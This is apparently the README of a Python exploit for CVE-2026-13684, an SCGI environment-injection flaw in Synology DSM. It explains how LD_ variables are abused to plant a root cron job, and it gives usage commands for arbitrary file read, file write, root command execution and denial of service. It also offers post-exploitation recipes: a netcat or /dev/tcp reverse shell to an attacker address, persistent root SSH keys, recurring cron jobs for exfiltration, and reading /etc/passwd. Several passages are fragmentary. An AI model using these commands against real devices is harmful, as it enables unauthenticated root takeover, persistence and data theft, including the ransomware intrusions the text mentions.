
Python exploit for CVE-2026-13684 in Synology DSM synoscgi: SCGI environment-variable injection enabling arbitrary file read/write, root command execution, and DoS.
Unauthenticated remote exploit: arbitrary file read, arbitrary file write, and DoS
| Field | Value |
|---|---|
| CVE | CVE-2026-13684 |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-116 — Improper Encoding or Escaping of Output |
| Component | synoscgi (the SCGI daemon fronting DSM's privileged CGI workers) |
| Affected | DSM before 7.2.1-69057-12, 7.2.2-72806-9, 7.3.2-86009-4, 7.4-90075 |
| Fixed | 2026-09-18 — Synology-SA-26:13 |
| In the wild | Attributed (360) as initial access for the C3RB3R / L0CK3D ransomware wave |
SYNO::WebEntryCGI::HeaderToEnv() in /usr/syno/sbin/synoscgi converts every
SCGI request environment pair (NAME\0VALUE\0) into an environment variable
of the privileged CGI worker via setenv(name, value, 1) with no filtering
of the variable name. Whoever can deliver an LD_-named pair into the SCGI
netstring therefore controls the environment of a privileged, dynamically
linked worker process.
The vendor fix is a single check: header names starting with LD_ are blocked
before setenv and logged as Blocked environment variable from header.
LD_DEBUG=libs, LD_DEBUG_OUTPUT=<path>, LD_LIBRARY_PATH=<payload>
through the target's SCGI fronting endpoints. Three delivery vectors are
tried in order:
--raw-port) — carries arbitrary
bytes, including newlines; full capability;LD_DEBUG set, the
glibc dynamic linker of the worker process creates <LD_DEBUG_OUTPUT>.<pid>
(glibc itself appends the PID) and writes its library-search trace there.
Because LD_LIBRARY_PATH entries are colon-separated, one entry may carry
newlines and spaces intact, so the written file ends up containing
attacker-planted lines.* * * * * root sh -c '<command>' (a trailing space isolates the command
from the linker suffix that would otherwise be glued onto it). On targets
whose scheduler executes that artifact — cron(8) on the affected DSM
builds, per public analyses of this CVE family — the command runs as root
within ~60 seconds. The read action uses it to copy the requested file to
the web-served root (/volume1/web/), which the exploit then fetches over
HTTP — no outbound connection from the NAS required.--raw-port) malformed/oversized SCGI netstrings against the synoscgi
endpoints.# Full run (recon + write/RCE + read) against a DSM instance
python3 exploit.py --target http://192.168.1.10:5000
# Read an arbitrary file (exfiltrated via web-served marker)
python3 exploit.py --target http://192.168.1.10 --action read --file /etc/synoinfo.conf
# Write an arbitrary file (artifact lands at '<path>.<pid>')
python3 exploit.py --target http://192.168.1.10 --action write --path /etc/cron.d/poc
# DoS waves
python3 exploit.py --target http://192.168.1.10 --action dos --concurrency 64
# Full-capability vector against a directly reachable SCGI socket / SCGI lab
python3 exploit.py --target http://192.168.1.10 --raw-port 9000 --verbose
# Local end-to-end verification of the primitive (no target needed)
python3 exploit.py --selftest
Python 3.8+, standard library only, no dependencies.
The embedded root job fires every minute until removed, so embed an
idempotent command via --command:
1. Reverse shell (immediate interactive access)
# attacker side: nc -l 4444
python3 exploit.py --target http://192.168.1.10 \
--command "nc 192.168.1.99 4444 -e /bin/sh"
Within ~60 s (cron) a root reverse shell connects back. If nc is missing on
the DSM, use busybox nc or exec 5<>/dev/tcp/192.168.1.99/4444; cat <&5 >&5.
2. Persistent SSH access (recommended)
python3 exploit.py --target http://192.168.1.10 \
--command "mkdir -p /root/.ssh && printf '%s\n' '<PUBKEY>' >> /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys && synoservice --start sshd"
Then simply ssh [email protected]. The key stays on the device — re-entry
without re-exploitation. If SSH is disabled on the DSM, synoservice --start sshd (included above) enables it.
3. Persistent cron job — the embedded job itself lives in
/etc/cron.d/<marker>.<pid> and fires every minute; instead of a one-shot
command you can embed a long-running action (sync, listener, periodic
exfiltration).
4. Recon / exfiltration — already covered: --action read --file /etc/synoinfo.conf, /etc/passwd, /var/log/messages (contents arrive on
stdout).